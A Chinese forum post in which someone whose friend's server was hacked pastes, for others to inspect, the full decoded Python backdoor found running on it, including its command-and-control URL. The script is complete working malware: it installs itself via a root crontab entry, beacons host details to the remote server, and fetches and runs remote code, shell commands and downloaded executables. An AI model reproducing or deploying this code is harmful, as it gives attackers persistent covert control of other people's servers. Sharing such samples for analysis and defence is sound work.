技术解析
朋友服务器被黑了(真开心)...上去发现有个 python 后门在跑,base64 一下拿到脚本;不太懂 python,准备重装了,大佬们有喜欢搞得可以看看
服务器: http://k.zsw8.cc/Api/
base64 后代码
#coding=utf-8
import sys
reload(sys)
sys.setdefaultencoding("utf-8")
import urllib
import socket
socket.setdefaulttimeout(5)
import subprocess
import threading
import time
import base64
import os
try:
import uuid
import platform
except Exception,e:
pass
apiURL = "http://k.zsw8.cc/Api/"
runCodePath = '/bin/httpsd'
tmpPid= "/tmp/VWTFEdbwdaEjduiWar3adW"
runCode = '''
#coding: utf-8
import urllib
import base64
while True:
try:
page=base64.b64decode(urllib.urlopen("%s").read())
exec(page)
except:
pass
time.sleep(1800)
'''% (apiURL)
class CommonWay(object):
CommonResult = []
def __init__(self):pass
def start(self):
try:
base64RunCode = base64.b64encode(runCode)
f = open(runCodePath, "w+")
f.write("python -c \"import base64;exec(base64.b64decode('%s'))\"" % base64RunCode)
f.close()
os.chmod(runCodePath, 0777)
f = open("/etc/crontab", "r")
crontabData = f.read()
f.close()
if runCodePath not in crontabData:
f = open("/etc/crontab", "a+")
f.write("\n0 */6 * * * root %s\n" % runCodePath)
f.close()
except Exception, e:
pass
def kill(self):
try:
try:
f = open(tmpPid, 'r')
pid = int(f.read())
f.close()
#os.system("kill -9 %d" % pid)
os.kill(pid, 9)
except Exception, e:
pass
pid = os.getpid()
f = open(tmpPid, 'w+')
f.write(str(pid))
f.close()
except Exception, e:
pass
def result(self, task_id, result):
try:
CommonWay.CommonResult.append({"id": task_id, "result": base64.b64encode(result)})
#print CommonWay.CommonResult
for my_data in CommonWay.CommonResult:
f = urllib.urlopen(apiURL, urllib.urlencode(my_data))
if f.getcode() == 200:
CommonWay.CommonResult.remove(my_data)
f.close()
#print CommonWay.CommonResult
except Exception, e:
pass
class CommonData(object):
def __init__(self): pass
@property
def get_key(self):
hostname = ""
mac = ""
try:
hostname = base64.b64encode(socket.getfqdn(socket.gethostname()).strip()[:20])
mac = uuid.UUID(int = uuid.getnode()).hex[-12:]
except Exception, e:
pass
return hostname+":"+mac
@property
def get_name(self):
try:
return base64.b64encode(socket.getfqdn(socket.gethostname()).strip()[:20])
except Exception, e:
return "null"
def __readCpuInfo(self):
f = open('/proc/stat')
lines = f.readlines()
f.close()
for line in lines:
line = line.lstrip()
counters = line.split()
if len(counters) < 5:
continue
if counters[0].startswith('cpu'):
break
total = 0
for i in xrange(1, len(counters)):
total = total + long(counters[i])
idle = long(counters[4])
return {'total': total, 'idle': idle}
def __calcCpuUsage(self, counters1, counters2):
idle = counters2['idle'] - counters1['idle']
total = counters2['total'] - counters1['total']
return 100 - (idle * 100 / total)
@property
def get_cpuuse(self):
try:
counters1 = self.__readCpuInfo()
time.sleep(3)
counters2 = self.__readCpuInfo()
return str(self.__calcCpuUsage(counters1, counters2))+"%"
except Exception, e:
return "null"
@property
def get_cpucount(self):
try:
cpu_count = 0
f = open("/proc/cpuinfo")
lines = f.readlines()
f.close()
for line in lines:
if ':' in line:
lineList = line.split(":", 2)
if lineList[0].strip() == "cpu cores":
cpu_count = int(lineList[1].strip())
break
return cpu_count
except Exception, e:
return 0
@property
def get_core(self):
try:
return platform.architecture()[0]
except Exception, e:
return "null"
@property
def get_platform(self):
try:
import platform
return platform.system()
except Exception, e:
return "null"
@property
def get_status(self):
try:
return "None"
except Exception, e:
return "None"
class CmdExec(object):
def __init__(self, cmd, task_id):
self.task_cmd = cmd
self.task_id = task_id
self.run()
def run(self):
t = threading.Thread(target=self.exec_cmd)
t.setDaemon(True)
t.start()
def exec_cmd(self):
try:
mytask = subprocess.Popen(self.task_cmd, shell=True, stdin=subprocess.PIPE, stdout=subprocess.PIPE, stderr=subprocess.STDOUT)
myCmdResult = mytask.stdout.read()
#print self.task_id, myCmdResult
#print myCmdResult, self.task_id
c = CommonWay()
c.result(self.task_id, myCmdResult)
except Exception, e:
pass
class DownExec(object):
def __init__(self, downloadurl, taskid):
self.downloadurl = downloadurl
self.taskid = taskid
self.run()
def run(self):
t = threading.Thread(target=self.download)
t.setDaemon(True)
t.start()
def schedule(self, a, b, c):
# a: block count
# b: block size
# c: file size
per = 100.0 * a * b / c
if per > 100: per = 100
#print '%.2f%%' % per
def download(self):
try:
f = urllib.urlretrieve(self.downloadurl, filename=None, reporthook=self.schedule, data=None)
try:
os.chmod(f[0], 0777)
except:
pass
mytask = subprocess.Popen(f[0], shell=True, stdin=subprocess.PIPE, stdout=subprocess.PIPE, stderr=subprocess.STDOUT)
myresult = mytask.stdout.read()
# update result
# print myresult, self.taskid
c = CommonWay()
c.result(self.taskid, myresult)
except Exception, e:
pass
def __del__(self):
urllib.urlcleanup()
class Client(object):
def __init__(self):
self.r_time = 30
self.runMain()
def get_task(self):
try:
code = 0
html = ""
d = CommonData()
my_data = {"key": d.get_key}
f = urllib.urlopen(apiURL, urllib.urlencode(my_data))
code = f.getcode()
html = f.read()
f.close()
data = eval(html)
if data.has_key("id") and data["id"]:
task_id = data["id"]
if data.has_key("download") and data["download"]:
DownExec(data["download"], task_id)
if data.has_key("cmd") and data["cmd"]:
CmdExec(data["cmd"], task_id)
else:
self.r_time = int(data["rtime"])
except Exception, e:
return False
def up_online(self):
try:
code = 0
html = ""
d = CommonData()
my_data = {"key":d.get_key, "name":d.get_name, "os":d.get_platform, "core":d.get_core, "cpu":d.get_cpucount, "cpuuse":d.get_cpuuse, "status":d.get_status}
f = urllib.urlopen(apiURL, urllib.urlencode(my_data))
code = f.getcode()
#html = f.read()
f.close()
if code == 200:
return True
else:
return False
except Exception, e:
return False
def runMain(self):
try:
commonWay = CommonWay()
commonWay.start()
commonWay.kill()
while True:
if not self.up_online():
time.sleep(60)
continue
self.get_task()
time.sleep(self.r_time)
except Exception, e:
pass
if __name__ == "__main__":
c = Client()